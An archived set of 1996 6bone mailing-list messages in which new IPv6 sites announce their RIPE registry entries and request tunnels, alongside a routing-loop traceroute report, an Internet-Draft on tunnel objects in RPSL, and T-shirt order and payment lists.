> I've got a Sun workstation with version 5.0 of Sun's IPv6 code installed.
> The RFC-1897 prefix is 5f02:ad00:c050:0d00/64.  Once we have a tunnel
> provider, I will submit our entry to the RIPE-NCC 6bone Registry.
> 
> I am interested in participating in the 6bone to get some experience with
> IPv6 -- especially dynamic routing implementations and troubleshooting.
> 
> - Doug
> 
>  /  Douglas A. Junkins    |   Network Engineering        \
> /   Network Engineer      |   NorthWestNet                \
> \   junkins@nwnet.net     |   Bellevue, Washington, USA   /
>  \  (206)649-7419         |                              /
> 
> P.S.  See you in San Jose...
> 
> 


From majordom@ISI.EDU  Thu Dec  5 23:17:22 1996
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Date: Fri, 6 Dec 1996 07:17:22 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Tshirt info
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I'm still not sure about when I can distribute the 6bone Tshirts, but will
let people know at the IPng sessions on Monday afternoon.  Maybe will start
doing it after that session during the break.  Almost certainly I will be
doing it before and after the 6bone BOF session Tuesday 3:30-5:00, but may
do other times as well.

I WON'T be there on Sunday night so don't even wonder.

I'm still not yet asking people to send money and won't till I have the
real Tshirts in my hands (supposed to receive them today!).


As an aside for non-US'rs that have asked how to send funds by check to me:

My bank will only take a foreign funds check if I manually process each and
every one personally at the bank.  Hence, I don't want foreign funds, only
US.  i.e., I'm asking you to do the manual work to get your local currency
into US$.


PLEASE don't send any money yet.  I will let you know when I want money
mailed to me for the non-direct pickup orders.

However, those intending on picking their Tshirts up at the IETF should be
prepared to give me cash or a US$ check at that time.



Thanks,

Bob



From majordom@ISI.EDU  Fri Dec  6 18:50:43 1996
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From: Paolo Malara <malara@crs4.it>
Message-Id: <199612061650.AA69090@bruckner.crs4.it>
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To: 6bone@isi.edu
Subject: New site: CRS4
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Date: Fri, 06 Dec 96 17:50:43 +0100
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Hi all,

another ipv6 island on the 6bone:

CRS4 (ftp://ftp.ripe.net/ipv6/ip6rr/CRS4)


Regards

Paolo Malara

-- 
* * * * *Centro di Ricerca, Sviluppo e Studi Superiori in Sardegna * * * * * *
*                                            *                               *
*      Paolo Malara                          *   Phone: (+39) 70 2796 260    *
*                                            *                               *
*      CRS4                                  *   Fax:   (+39) 70 2796 245    *
*      via Nazario Sauro, 10                 *                               *
*      09123 Cagliari, Italy                 *   E-mail: malara@crs4.it      *
*                                            *                               *
* * * Centre for Advanced Studies, Research, and Development in Sardinia * * *



From majordom@ISI.EDU  Fri Dec  6 03:17:51 1996
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Date: Fri, 6 Dec 1996 11:17:51 -0800 (PST)
From: Doug Junkins <junkins@nwnet.net>
Reply-To: Doug Junkins <junkins@nwnet.net>
To: 6bone@isi.edu
Subject: RIPE-NCC routing registry
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NorthWestNet now has a 6Bone tunnel thanks to Stephen Stuart at DEC.  I'd
like to add our entry to the RIPE-NCC 6bone Registry but I need the group
and gpass strings for the FTP server.  For those interested, here's our
entry:

site:           NorthWestNet
location:       Bellevue, Washington, USA
loc-string:     47 35 2n 122 8 2w 5m
prefix:         5F02:AD00:C050:0D00/64
ping:		5F02:AD00:C050:0D00:0001:0800:207F:049D
tunnel:         192.80.13.59 204.123.2.236 Digital-CA
contact:        Doug Junkins <junkins@nwnet.net>
status:         operational
remarks:	Sun Ultra1 running IPv6 for Solaris Release 5.0
changed:        junkins@nwnet.net 961206
source:         RIPE

- Doug

 /  Douglas A. Junkins    |   Network Engineering        \
/   Network Engineer      |   NorthWestNet                \
\   junkins@nwnet.net     |   Bellevue, Washington, USA   /
 \  (206)649-7419         |                              /


From majordom@ISI.EDU  Fri Dec  6 05:04:05 1996
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Date: Fri, 6 Dec 1996 13:04:05 -0800 (PST)
From: Doug Junkins <junkins@nwnet.net>
Reply-To: Doug Junkins <junkins@nwnet.net>
To: 6bone@isi.edu
Cc: ts@nwnet.net
Subject: New 6Bone site: NWNET
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Thanks to all those that helped with the process of getting on the 6Bone. 
NorthWestNet is now up are operational with a tunnel from Digital-CA.  Our
IPv6 routing registry information can be found at:

	ftp://ftp.ripe.net/ipv6/ip6rr/NWNET. 

- Doug

 /  Douglas A. Junkins    |   Network Engineering        \
/   Network Engineer      |   NorthWestNet                \
\   junkins@nwnet.net     |   Bellevue, Washington, USA   /
 \  (206)649-7419         |                              /





From majordom@ISI.EDU  Sat Dec  7 00:51:22 1996
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Date: Sat, 7 Dec 1996 08:51:22 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: new 6bone map - last 6bone map change?!
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6bone drawing 43:

	new site NWNET/US with tunnel to DIGITAL-CA/US

	new site CRS4/IT with tunnel to POLITO/IT

Welcome to new sites NWNET and CRS4!


Some comments:

NWNET/US is a regional ISP and is possibly our first commercial ISP to hook
to the 6bone (please correct me if I'm wrong).


Second, I think these last two entries represent the limits of the current
style of drawing to document what we are doing on the 6bone.  One of our
agenda items for the 6bone BOF is to discuss this.

So...I will not be adding more to this drawing, at least in its current
style. If we can reach consensus in San Jose on what is the best approach I
will happily take up a drawing tool yet again.


Note that this drawing has served us well during startup of the 6bone, but
has survived precisely one IETF meeting cycle!  Sign of the times!


See you in San Jose!


Bob



From majordom@ISI.EDU  Sat Dec  7 01:19:21 1996
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Date: Sat, 7 Dec 1996 09:19:21 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Tshirts arrive!
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

Well, I finally got them.  What a lot of Tshirts!  They look neat!


Given the weight and volume, I have decided to distribute them only from my
hotel sleeping room at the Fairmont.

My room number you will have to learn at the Monday 1 pm IPng session as I
don't know it yet.


On Monday from 3:15 pm till 7:15 pm (just before the evening IPng session).

On Tuesday from 11:45 am till 3:00 pm (just before the 6bone BOF session).

On Wednesday from 9:00 till 3:00 pm.


Those picking up Tshirts in my hotel room should pay me in cash or check
(made out to Robert L. Fink) at time of pickup.


Anyone that misses those times will have to reach me thru email and arrange
something.  Failing that, the us mail will still get the Tshirts to you,
i.e., anyone missing me WILL get their Tshirts mailed to them after the
IETF.


At this point anyone who is having their Tshirts mailed can send me checks
by the mail (please no cash) for the Tshirts you have ordered.  Remember
they must be in US $ currency, $10 per Tshirt.  Only pay for what you have
ordered on the official list (below).

Make all checks payable to Robert L. Fink and send them to:

	Robert L. Fink
	3085 Buena Vista Way
	Berkeley, CA  94708
	USA


If I haven't received a check from you by the time I mail the Tshirts, no
matter...I trust all of you.  Just please get me the checks somehow,
someday :-)


Thanks,

Bob

===================================================
Acheson, Steve	1 XL	mail
Asayesh, Hamid	35 L, 10 XL	ietf
Atkinson, Ran	2 L, 1 XL	ietf
Belding, Peter	1 XL	mail
Bassham, Larry	1 L	ietf
Bhogavilli, Suresh	1 L	ietf
Blundell, Phil	2 L	mail
Boroumand, Jarad	2 XL	ietf
Bound, Jim	3 L	ietf
Bryant, Geoff	1 L	mail
Choi, Woohyong	6 XL, 4 L	mail
Cianci, Frank	1 XL	ietf
Clauberg, Axel	3 XL	ietf
Clay, Mike	1 L, 1 XL	mail
Collins, Mike	1 XL, 1 XXXL	ietf
Crawford, Matt	4 XL	ietf
Curran, Peter	2 L	mail (need postal address)
Dalgeir, Gudrun	1 XXL, 1 S, 5 XL	mail
Davis, Eric	2 XXL	mail
Day, Jonathan	3 XL	ietf
DeCasper, Dan	10 XL	mail
Deering, Steve	1 XL	ietf
Degermark, Mikael	2 XL	? (not confirmed)
de Groot, Geert Jan	1 XL	ietf
Dupont, Francis	1 XXL	ietf
Durand, Alain	2L, 8 XL	ietf
Edmondson, Dave	9 XL	ietf (pickup by Andrew Malcolm)
Eklund, Thomas	10 XL	ietf
Fang, Hsin	1 XL	ietf
Fernstedt, Anders	25 L, 25 XL	ietf
Field, Brian	1 XL	mail
Fink, Bob	1 L, 25 XL	ietf
Ganis, Matt	3 XL, 5 L	Mail
Glenn, Robert	2 XL	mail
Goode, Rob	1 M	mail
Hamilton, Martin	2 XL	ietf
Haskin, Dimitry	4 XL, 2 M, 9 L	   mail
Hazeltine, Andy	2 M, 1 L, 1 XL	mail
Hinden, Bob	2 XL	ietf
Hirabaru, Masaki	2 XL	ietf
Hoag, Andrew	2 XL	ietf
Honerkamp, Robbie	1 XL	mail
Jaeger, Kurt	5 XL, 1 XXL	mail
Jinmei, Tatuya	5 L	ietf
Jork, Markus	2 L, 3 XL	ietf
Juliano, Bryan	1 XL	ietf
Kann, Jong	4 L	ietf
Kato, Akira	2 L	ietf
King, Ray	4 L	mail
Kirkpatrick, Ben	1 XL	mail
Konczal, Joe	1 XL	mail
Kules, Bill	1 XL, 1 L	mail
Labovitz, Craig	1 XL	ietf
Lahey, Kevin	2 L	ietf
Laird, Scott	7 L, 7 XL	mail
Latzko, Alex	9 XL, 1 L	mail
Lee, Ron	1 L, 5 XL	ietf
Macker. Joe	1 XL	ietf
Martin, Jim	1 XL	ietf
McCann, Jack	2 XL	? (not confirmed)
Meier, Erich	2 XL	mail
Metz, Craig	2 XL, 1 L	mail (not confirmed)
Meyer, David	2 M, 3 XXL	ietf
Michlmayr, Mike	4 XXL, 2 XL	mail
Montgomery, Doug	2 XL, 2 L	ietf
Moore, Mike	2 XL	ietf
Narten, Tom	1 XL	ietf
Nerenberg, Lyndon	6 XL	ietf
Nitzan, Becca	1 M	ietf
Onoe, Atsushi	1 L	mail
Ouin, Edouard	3 XL	ietf
Page, John	2 L	mail
Peachey, Alex	2 XXL	mail
Peck, Martin	8 L, 4 XL	mail
Sakurai, Akihiro	1 M, 1 L, 1 XL	mail
Schoenwaelder, Juergen	10 XL, 1 L	ietf
Shabou, malek	1 XL	mail (need postal address)
Shand, Mike	1 XL	ietf
Sharfmesser, Igor	3 XL	mail
Sjodin, Peter	4 XL	ietf (pickup by Steve Pink)
Solensky, Frank	1 L	ietf
Souissi, Mohsen	1 L	ietf (Dupont pickup)
Spindler, Tom	2 XXL	mail
Stevens, Richard	1 XL	mail
StPierre, Brad	1 L	mail
Stuart, Stephen	3 XL	ietf
Sumikawa, Munechika	2 L	ietf
Templin, Fred	1 XL, 2 XXL	ietf
Turner, Rob	1 XXL	ietf or mail (need postal address)
Vohra, Quaizar	3 XL, 1 L, 1 M	ietf
Weise, Bernd	5 XL, 5 XXL	ietf
Wessendorf, Guido	2 XL, 1 L	ietf
Winchcombe, Charlie	5 XXL	mail
Yamamoto, Kazuhiko	1 L	ietf
Yoshida, Shin	1 L	ietf
Zhang, Lixia	1 M	ietf
-end



From majordom@ISI.EDU  Mon Dec  9 09:58:36 1996
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	id <AA09641>; Mon, 9 Dec 1996 02:03:04 -0800
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Message-Id: <3.0.32.19961209105835.0190e808@tik1.ethz.ch>
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Date: Mon, 09 Dec 1996 10:58:36 -0100
To: Bob Fink LBNL <RLFink@lbl.gov>, 6bone@ISI.EDU (6BONE Mailer)
From: "Dan S. Decasper" <dan@tik.ee.ethz.ch>
Subject: Re: Tshirts arrive!
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Bob,

[...]

>
>At this point anyone who is having their Tshirts mailed can send me checks
>by the mail (please no cash) for the Tshirts you have ordered.  Remember
>they must be in US $ currency, $10 per Tshirt.  Only pay for what you have
>ordered on the official list (below).
>
>Make all checks payable to Robert L. Fink and send them to:
>
>	Robert L. Fink
>	3085 Buena Vista Way
>	Berkeley, CA  94708
>	USA
>
>
>If I haven't received a check from you by the time I mail the Tshirts, no
>matter...I trust all of you.  Just please get me the checks somehow,
>someday :-)
>

Could you give me some bank account information so I could ask my bank to
do a transfer?

Thanks a lot,

-Dan


From majordom@ISI.EDU  Tue Dec 10 22:29:41 1996
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Message-Id: <199612102222.WAA04895@gate.ticl.co.uk>
From: "Peter Curran" <pcurran@ticl.co.uk>
To: <6bone@isi.edu>
Subject: Tunnel request
Date: Tue, 10 Dec 1996 22:29:41 -0000
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Dear All

We are looking for a tunnel please.  We are located in the UK, 'bout 2 hops
from LINX and 3 from
MAE East.  IPv4 address is 193.32.1.66 our IPv6 prefix is
5f15:200:c120:100/64.

At the same time, could somebody tell me the name/pass for the RIPE
database site so I can craft an entry.

We are a Consultancy Company, based in the UK (but we work in US also).  We
provide tech support for ISPs, develop training courses and do a lot of
work on security.  We want to move some of our security tools and products
to IPv6 to try and get some experience of the new environment before we
gaet asked any questions about it :-).  We also want to play with the PPP
stuff, and probably develop a training course on migration issues.

Look forward to joining you all.

Cheers

Peter Curran
The Internet Connection Ltd
UK
------

From majordom@ISI.EDU  Tue Dec 10 09:22:09 1996
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From: "David M. Meyer" <meyer@network-services.uoregon.edu>
Message-Id: <199612110122.RAA06320@network-services.uoregon.edu>
Subject: RPSL extensions for tunnels
To: 6bone@isi.edu
Date: Tue, 10 Dec 1996 17:22:09 -0800 (PST)
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	Folks,

	I didn't get a chance to present this in the BOF, so
	here's the draft. Any comments appreciated.

	Dave


-----------
INTERNET-DRAFT                                            David Meyer
draft-ietf-rps-tunnels-01.txt                    University of Oregon
Category: Standards Track                               November 1996


                      Representing Tunnels in RPSL


Status of this Memo

   This document provides extensions to the Routing Policy Specification
   Language [RPSL] to provide support for tunnels of various types.

Internet Drafts

   This document is an Internet-Draft.  Internet-Drafts are working
   documents of the Internet Engineering Task Force (IETF), its areas,
   and its working groups.  Note that other groups may also distribute
   working documents as Internet-Drafts.

   Internet-Drafts are draft documents valid for a maximum of six months
   and may be updated, replaced, or obsoleted by other documents at any
   time.  It is inappropriate to use Internet-Drafts as reference
   material or to cite them other than as ``work in progress.''

   To learn the current status of any Internet-Draft, please check the
   ``1id-abstracts.txt'' listing contained in the Internet-Drafts Shadow
   Directories on ftp.is.co.za (Africa), nic.nordu.net (Europe),
   munnari.oz.au (Pacific Rim), ds.internic.net (US East Coast), or
   ftp.isi.edu (US West Coast).

Abstract

   This document specifies the language and set of semantics describing
   tunnels in the Routing Policy Specification Language (RPSL). It
   defines a new tunnel class, inet-tunnel, and a set of extensions to
   the inet-rtr class. An instance of the inet-tunnel class specifies
   endpoints for tunnels of various encapsulation types, including DVMRP
   [DVMRP], GRE [GRE], and IPv6 [IPV6].

   This memo is a product of the Routing Policy System Working Group
   (RPS) in the Operational Requirements area of the Internet Engineer-
   ing Task Force. Submit comments to <rps@isi.edu> or the author.

Introduction

   Tunneling is a fundamental networking technology that is used in a
   variety circumstances. A common use of tunneling is to incrementally
   deploy a new network layer protocol. The approach is to encapsulate
   ("tunnel") the new protocol through the existing network layer proto-
   col, usually IP. Examples of this approach include include the multi-
   cast backbone [MBONE], where multicast packets are encapsulated in IP
   packets using protocol 4 (IP in IP), and IPv6 backbone [6BONE], where
   IPv6 packets are encapsulated in IP packets using IP protocol 41
   [V6TRNS].

   Another use of tunneling is to force congruence between the existing
   (IP unicast) topology and some new topology. Due the special require-
   ments of IP multicast routing, the MBONE is also an example of this
   use of tunneling.

   This document describes extensions to RPSL to support general tunnel-
   ing mechanisms. The extensions support point to point and point to
   multipoint tunnels of encapsulation types, including DVMRP, GRE, and
   IPv6. In addition to the encapsulation, a protocol to run inside the
   tunnel can also be specified.


Extensions to the inet-rtr class

   The inet-rtr class' peer attribute is extended to describe tunnels by
   assigning a new peer type (tunnel). The tunnel peer attribute has the
   following fields:


   inet-rtr: <name>
    ...
   peer: tunnel <dest-IP1> source=<source-IP1>
                encap=<encapsulation type>
                name=<name1>
    ...
   peer: tunnel <dest-IP2> source=<source-IP2>
                encap=<encapsulation type>
                name=<name2>



   The type clause of then tunnel peer attribute describes the encapsu-
   lation on the tunnel. The defined encapsulation types are DVMRP
   [DVMRP], GRE [GRE], or IPv6 [IPV6].  The name clause refers to a tun-
   nel object (see below). If there are multiple tunnel peer attributes
   with the same name attribute, then the tunnel is a point to mul-
   tipoint tunnel. Note that a router can be the source of multiple tun-
   nels.

   Each inet-rtr tunnel peer instance has a mandatory name, source, and
   destination attributes. The tunnel source attribute must correspond
   to an ifaddr attribute for the inet-rtr instance.

   The inet-rtr instance below describes a DVMRP tunnel with source
   204.70.32.6 and destination 204.70.158.61. The tag MBONE-TUNNEL-EUG
   refers to a tunnel instance (see below). The same router has a GRE
   tunnel.


   inet-rtr: eugene-isp.nero.net
   loacalas: AS4600
   ifaddr:   204.70.32.6 masklen 30
    ...
   peer: tunnel encap=DVMRP name=MBONE-TUNNEL-EUG 204.70.158.61 204.70.32.6
   peer: tunnel encap=GRE name=GRE-TUNNEL-EUG 206.42.19.240 204.70.32.6
    ...



The inet-tunnel Class

   A tunnel is specified by an instance of the inet-tunnel class. The
   attributes of the inet-tunnel class are described below.


   inet-tunnel:     <name>
   tunnel-source:   <inet-router key>
   tunnel-sink:     <inet-router key 1>
    ...
   tunnel-sink:     <inet-router key n>
   tunnel-protocol: <protocol>
   tunnel-in: from  <inet-router key1> accept <input-filter-spec1>
   tunnel-in: from  <inet-router key2> accept <input-filter-spec2>
    ...
   tunnel-in:  from <inet-router keyn> accept <input-filter-specn>
   tunnel-out: to   <inet-router key1>
                    [action
                      [scope=<ttl1>;]
                      [boundary=<prefixn/masklen1>;]
                      [dvmrp-metric=<n>;]]
                    announce <output-filter-spec1>
   tunnel-out: to   <inet-router key2>
                    [action
                      [scope=<ttl2>;]
                      [boundary=<prefixn/masklen2>;]
                      [dvmrp-metric=<n>;]]
                    announce <output-filter-spec2>
    ...
   tunnel-out: to   <inet-router keyn>
                    [action
                      [scope=<ttln>;]
                      [boundary=<prefixn/masklenn>;]
                      [dvmrp-metric=<n>;]]
                    announce <output-filter-specn>





inet-tunnel Class Attributes



   inet-tunnel:     mandatory, single valued
   tunnel-source:   mandatory, single valued, class key
   tunnel-sink:     mandatory, single valued, class key
   tunnel-protocol: mandatory, single valued
   tunnel-in:       mandatory, multi-valued
   tunnel-out:      mandatory, multi-valued



   An instance of the inet-tunnel class describes a single tunnel
   (although the tunnel-source may be the source of multiple tunnels).
   The name attribute is a key that is used in an inet-rtr object to
   reference the tunnel object. The tunnel may be point to point or
   point to multipoint. A multipoint tunnel will have more than one
   tunnel-sink value. Each tunnel-sink must have corresponding tunnel-in
   and tunnel-out attributes. The tunnel-protocol is the protocol to run
   "inside" the tunnel. The values for tunnel-protocol include BGP,
   RIPv6, DVMRP, PIM-DM, and PIM-SM. See [SSMMC] for an application that
   uses BGP tunneled in GRE.

   The inet-tunnel class's tunnel-out attribute includes an action
   clause for which the currently defined actions include: (i).  The
   minimum IP time-to-live required for a packet to be forwarded to the
   specified endpoint (in the case of multipoint tunnels, there may be
   per endpoint scopes), (ii). A boundary attribute describes a class of
   packets that will not be forwarded through the tunnel, and (iii). A
   DVMRP metric. These attributes are particularly relevant to multicast
   routing.

   The inet-tunnel class also has routing filter specifications which
   describe filters that are appropriate for the tunnel's routing proto-
   col. In the case of DVMRP, the filter specification
    can be the list of network prefixes accepted or advertised.

   Finally, an instance of the inet-tunnel class also has all of the
   administrative fields present in an aut-num class, including guar-
   dian, admin-c, tech-c, notify, mnt-by, changed, and source.




Example


   In this example, the inet-rtr eugene-isp.nero.net has a DVMRP tunnel
   with the sink on the inet-rtr dec3800-2-fddi-0.SanFrancisco.mci.net.
   The tunnel object is called MBONE-TUNNEL-EUG. eugene-isp.nero.net
   will accept any routes. eugene-isp.nero.net will forward packets to
   the DVMRP tunnel if the packet's time-to-live is greater than or
   equal to 64. In addition, eugene-isp.nero.net will not pass any pack-
   ets that match the administrative scope boundary filter (in this
   case, 239.254.0.0/16).

   In addition, the inet-rtr eugene-isp.nero.net has a GRE tunnel
   represented by GRE-TUNNEL-EUG.
















   inet-tunnel:     MBONE-TUNNEL-EUG
   tunnel-source:   204.70.158.61
   tunnel-sink:     204.70.32.6
   tunnel-protocol: DVMRP
   tunnel-in:       from 204.70.158.61 accept ANY
   tunnel-out:      to 204.70.158.61
                    action
                       scope=64;
                       boundary={239.254.0.0/16};
                       dvmrp-metric=1;
                    announce AS-NERO-TRANSIT
   guardian:    meyer@ns.uoregon.edu
   admin-c:     DMM65
   tech-c:      DMM65
   notify:      nethelp@ns.uoregon.edu
   mnt-by:      MAINT-AS3582
   changed:     meyer@ns.uoregon.edu 961122
   source:      RADB

   inet-tunnel:     GRE-TUNNEL-EUG
   tunnel-source:   204.70.158.61
   tunnel-sink:     206.42.19.240
   tunnel-protocol: PIM-DM
   tunnel-in:       from 206.42.19.240 accept ANY
   tunnel-out:      to 206.42.19.240
                    action
                      scope=64;
                    announce ANY
   guardian:    meyer@ns.uoregon.edu
   admin-c:     DMM65
   tech-c:      DMM65
   notify:      nethelp@ns.uoregon.edu
   mnt-by:      MAINT-AS3582
   changed:     meyer@ns.uoregon.edu 961122
   source:      RADB





Security Considerations

   Security considerations are not discussed in this memo.

References
      [6BONE]  See http://www-6bone.lbl.gov/6bone/

      [DVMRP]  T. Pusateri, "Distance Vector Multicast Routing
               Protocol", draft-ietf-idmr-dvmrp-v3-03, September,
               1996.

      [GRE]    S. Hanks, T. Li, D. Farinacci, and P. Traina, "Generic
               Routing Encapsulation (GRE)", RFC1701, October, 1994.

      [IPV6]   A. Conta and S. Deering, "Generic Packet Tunneling in
               IPv6", draft-ietf-ipngwg-ipv6-tunnel-04.txt, October,
               1996

      [MBONE]  See http://www.best.com/~prince/techinfo/misc.html

      [RPSL]   C. Alaettinoglu, et. al., "Routing Policy
               Specification Language (RPSL)",
               draft-ietf-rps-rpsl-00.txt, October, 1996.

      [SSMMC]  Y. Rekhter, "Auto route injection with tunnelling",
               NANOG, October, 1996. For additional information, see
               http://www.academ.com/nanog/oct1996/multihome.html

      [V6TRNS] R. Gilligan and E. Nordmark, "Transition Mechanisms
               for IPv6 Hosts and Routers", RFC 1933, April 1996.


Author's Address

   David Meyer
   University of Oregon
   1225 Kincaid St.
   Eugene, OR 97403

   phone:  +1 541.346.1747

   email:  meyer@ns.uoregon.edu


From majordom@ISI.EDU  Wed Dec 11 14:01:56 1996
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Message-Id: <199612111354.NAA07642@gate.ticl.co.uk>
From: "Peter Curran" <pcurran@ticl.co.uk>
To: <6bone@isi.edu>
Subject: New 6bone site
Date: Wed, 11 Dec 1996 14:01:56 -0000
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Thanks for the help so far, the site TICL is connected via IFB initially.

The RIPE entry looks like this:

site:           TICL
location:       Dorking, UK
loc-string:     51 13 30n 000 21 40w 115m
prefix:         5f15:200:c120:100/64
ping:           5f15:200:c120:100:1::c120:142
tunnel:         193.32.1.66 194.105.166.254     IFB
contact:        Peter Curran <pcurran@ticl.co.uk>
status:         Operational
remark:         More tunnels sought!
changed         pcurran@ticl.co.uk 961211
source:         RIPE

Hope to have a proper nameservice operational today, followed by a web
server.

Cheers

Peter Curran
TICL
-------

From majordom@ISI.EDU  Fri Dec 13 01:24:56 1996
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Message-Id: <32AFCF68.73F65478@coocoo.tnjc.edu.tw>
Date: Thu, 12 Dec 1996 17:24:56 +0800
From: Rick Chiang <rchiang@coocoo.tnjc.edu.tw>
Organization: Tung Nan Junior College of Technology
X-Mailer: Mozilla 3.0 (X11; I; Linux 2.0.0 i586)
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To: 6bone@isi.edu
Subject: *** tunnel request ***
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Status: RO

Dear 6bone folks:

  This is TNJC (Tung Nan Junior College of Technology) from Taiwan.

  We are seeking ipv6 tunnel link, please e-mail me if you have add our 
site to your ipv6 hosts. We shall update our tunnel file.

  Our current configuration are as follows:

    

  site:           TNJC-TW IPv6 project
location:       Shen-Kan, Taipei, Taiwan, Republic of China
prefix:         5f06:7b00::/64
ping:           5f06:7b00:8c81:8e00:0000:0800:207a:2cae ipv6.tnjc.edu.tw
tunnel:         140.129.142.99  132.250.90.5    NRL
tunnel:         140.129.142.99  131.175.5.37    CEFRIEL (Milano,Italy)
tunnel:         140.129.142.99  192.32.29.62    Bay Networks (USA)   
tunnel:         140.129.142.99  129.99.237.71   NASA-NAS
tunnel:         140.129.142.99  192.31.7.104    CISCO
tunnel:         140.129.142.99  193.32.1.66     TICL
contact:        rchiang@coocoo.tnjc.edu.tw
status:         Operational Since 12/12/1996
remark:         Using Solaris 2.5 for IPv6
changed:        rchiang@coocoo.tnjc.edu.tw 961212
source:         RIPE

 or, you may connect to ftp://info.ripe.net/ripe/ipv6/ip6rr/TNJC-TW
 for our latest update.

Thanks for all your support.

Sincerely Yours,

Rick Chiang
Chief of Computer Center
Tung Nan Junior College of Technology

From majordom@ISI.EDU  Fri Dec 13 12:15:28 1996
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X-Mailer: exmh version 1.6.9 8/22/96
To: 6bone@isi.edu
Cc: brandner@kar.dec.com
Subject: New 6bone site DIGITAL-EARC/DE
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Fri, 13 Dec 96 11:15:28 +0100
From: Rudolf Brandner  CEC Karlsruhe  (+49-721-690231) <brandner@kar.dec.com>
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Hi,

I've just downloaded our RIPE entry, which looks like this:

site:           Digital Equipment Corporation
location:       Karlsruhe, Germany
loc-string:     49 00 54n 8 24 18e 150m
prefix:         5F04:FB00:810D:A900::/80
ping:           earc-rtr.ipv6.kar-x.dec.com (5F04:FB00:810D:A900::F84A:A7B0)
ping:           earc.ipv6.kar-x.dec.com (5F04:FB00:810D:A900::800:2B3C:1FAD)
tunnel:         129.13.169.3    204.123.2.236   DIGITAL-CA/US (RIP)
tunnel-v4:      earc-rtr.kar-x.dec.com (129.13.169.3)
contact:        <brandner|jork>@pa.dec.com
status:         operational since 12-DEC-1996
remark:         RouteAbout Access EI/IPv6, Digital UNIX IPv6
remark:         New tunnels added, RIP or static; send mail to contact
changed:        brandner@kar.dec.com 19961213
source:         RIPE

IPv4 nameserver is operational; IPv6 entries will be added soon.
Tunnels and IPv6 connections are soon to be added, too.

Regards,
Rudolf Brandner
CEC Karlsruhe, European Applied Research Center
Digital Equipment Corporation
email: brandner@kar.dec.com



From majordom@ISI.EDU  Tue Dec 17 11:00:58 1996
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Date: Tue, 17 Dec 1996 15:56:14 -0500
From: dhaskin@baynetworks.com (Dimitry Haskin)
Message-Id: <199612172056.PAA11778@pobox.BayNetworks.com>
To: 6bone@isi.edu
Subject: routin loop
Sender: owner-6bone@ISI.EDU
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Status: RO


traceroute -ip6 5f03:1200:9e7d:6000::1c10:30d1
1 [FE80::CC7B:02EC], time = 167 ms.
2 [5F00:6D00:C01F:0700:0001:0060:3E11:6770], time = 164 ms.
3 [FE80::CC7B:02EC], time = 140 ms.
4 [5F00:6D00:C01F:0700:0001:0060:3E11:6770], time = 171 ms.


traceroute -ip6 5f01:2500:83e1:0:1:40:b40:728b
1 *
2 [FE80::CC7B:02EC], time = 249 ms.
3 [5F02:3000:C020:AE00:201D::0007], time = 207 ms.
4 [FE80::84B1:7E9D], time = 367 ms.
5 [FE80::CC7B:02EC], time = 503 ms.
6: *
7 [FE80::84B1:7E9D], time = 597 ms.
8 [FE80::CC7B:02EC], time = 574 ms.

It seems that we have plenty of these nowadays ;(

Dimitry

From majordom@ISI.EDU  Tue Dec 17 08:56:28 1996
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Date: Tue, 17 Dec 1996 16:56:28 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone Tshirt first order followup
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

6bone Tshirt folk:

I have enclosed three lists below:

	Tshirts to be mailed real soon as I do have your address

	Tshirts I can't mail as I don't have your address

	Tshirts picked up and paid for at the IETF in San Jose

Those on the third list, read no further, and thanks for your support!

Those on the second list, please send your mail address so I can send out
your Tshirts.

Those on the first list, your Tshirts will be sent out either this week, or
the first week in January.  (The Lab here closes for most of the two weeks
from 21 Dec to 5 Jan - I love it :-)

All Tshirts mailed will be sent airmail, will have an enclosed piece of
LBNL literature telling you what great R&D we do, and will have a declared
value of $0!

There will be no bills mailed.  This email constitutes your bill.  Please
send me your payment of $10 per Tshirt as soon as possible, but no later
that when you actually receive your Tshirt.

If you need a receipt, please email me and I'll email a receipt back to you.

If you want more Tshirts at this stage, please wait for the call for the
2nd Tshirt order.


Thanks,

Bob

========================================
To be mailed, i.e., I have your address:
----------------------------------------
Belding, Peter	1 XL	mail	PAID
Blundell, Phil	2 L	mail
Bryant, Geoff	1 L	mail
Choi, Woohyong	6 XL, 4 L	mail
Clay, Mike	1 L, 1 XL	mail
Curran, Peter	2 L	mail
Dalgeir, Gudrun	1 XXL, 1 S, 5 XL	mail
Davis, Eric	2 XXL	mail
Day, Jonathan	3 XL	mail
Ganis, Matt	3 XL, 5 L	Mail
Glenn, Robert	2 XL	mail
Goode, Rob	1 M	mail
Haskin, Dimitry	4 XL, 2 M, 9 L	   mail
Hazeltine, Andy	2 M, 1 L, 1 XL	mail
Hjalmtysson, Gisli	10 XL	mail
Honerkamp, Robbie	1 XL	mail
Jaeger, Kurt	5 XL, 1 XXL	mail
Kessler, Gary	1 XL	mail
King, Ray	4 L	mail
Kirkpatrick, Ben	1 XL	mail
Konczal, Joe	1 XL	mail
Kules, Bill	1 XL, 1 L	mail
Laird, Scott	7 L, 7 XL	mail
Latzko, Alex	9 XL, 1 L	mail
Malek, Shabou	1 XL	mail
Meier, Erich	2 XL	mail
Michlmayr, Mike	4 XXL, 2 XL	mail
Onoe, Atsushi	1 L	mail
Page, John	2 L	mail
Peachey, Alex	2 XXL	mail
Peck, Martin	8 L, 4 XL	mail
Sharfmesser, Igor	3 XL	mail
Sjodin, Peter	4 XL	mail
Spindler, Tom	2 XXL	mail
Stevens, Richard	1 XL	mail
StPierre, Brad	1 L	mail
Turner, Rob	1 XXL	mail	PAID
-end

======================================
To be mailed, but I need your address:
--------------------------------------
Bassham, Larry	1 L	ietf
Boroumand, Jarad	2 XL	ietf
DeCasper, Dan	10 XL	mail
Degermark, Mikael	2 XL	? (not confirmed)
Field, Brian	1 XL	mail
Hamilton, Martin	2 XL	ietf
Macker. Joe	1 XL	ietf
Martin, Jim	1 XL	ietf (not confirmed)
Metz, Craig	2 XL, 1 L	mail (not confirmed)
Winchcombe, Charlie	5 XXL	mail
-end

=======================
Picked up and paid for:
-----------------------
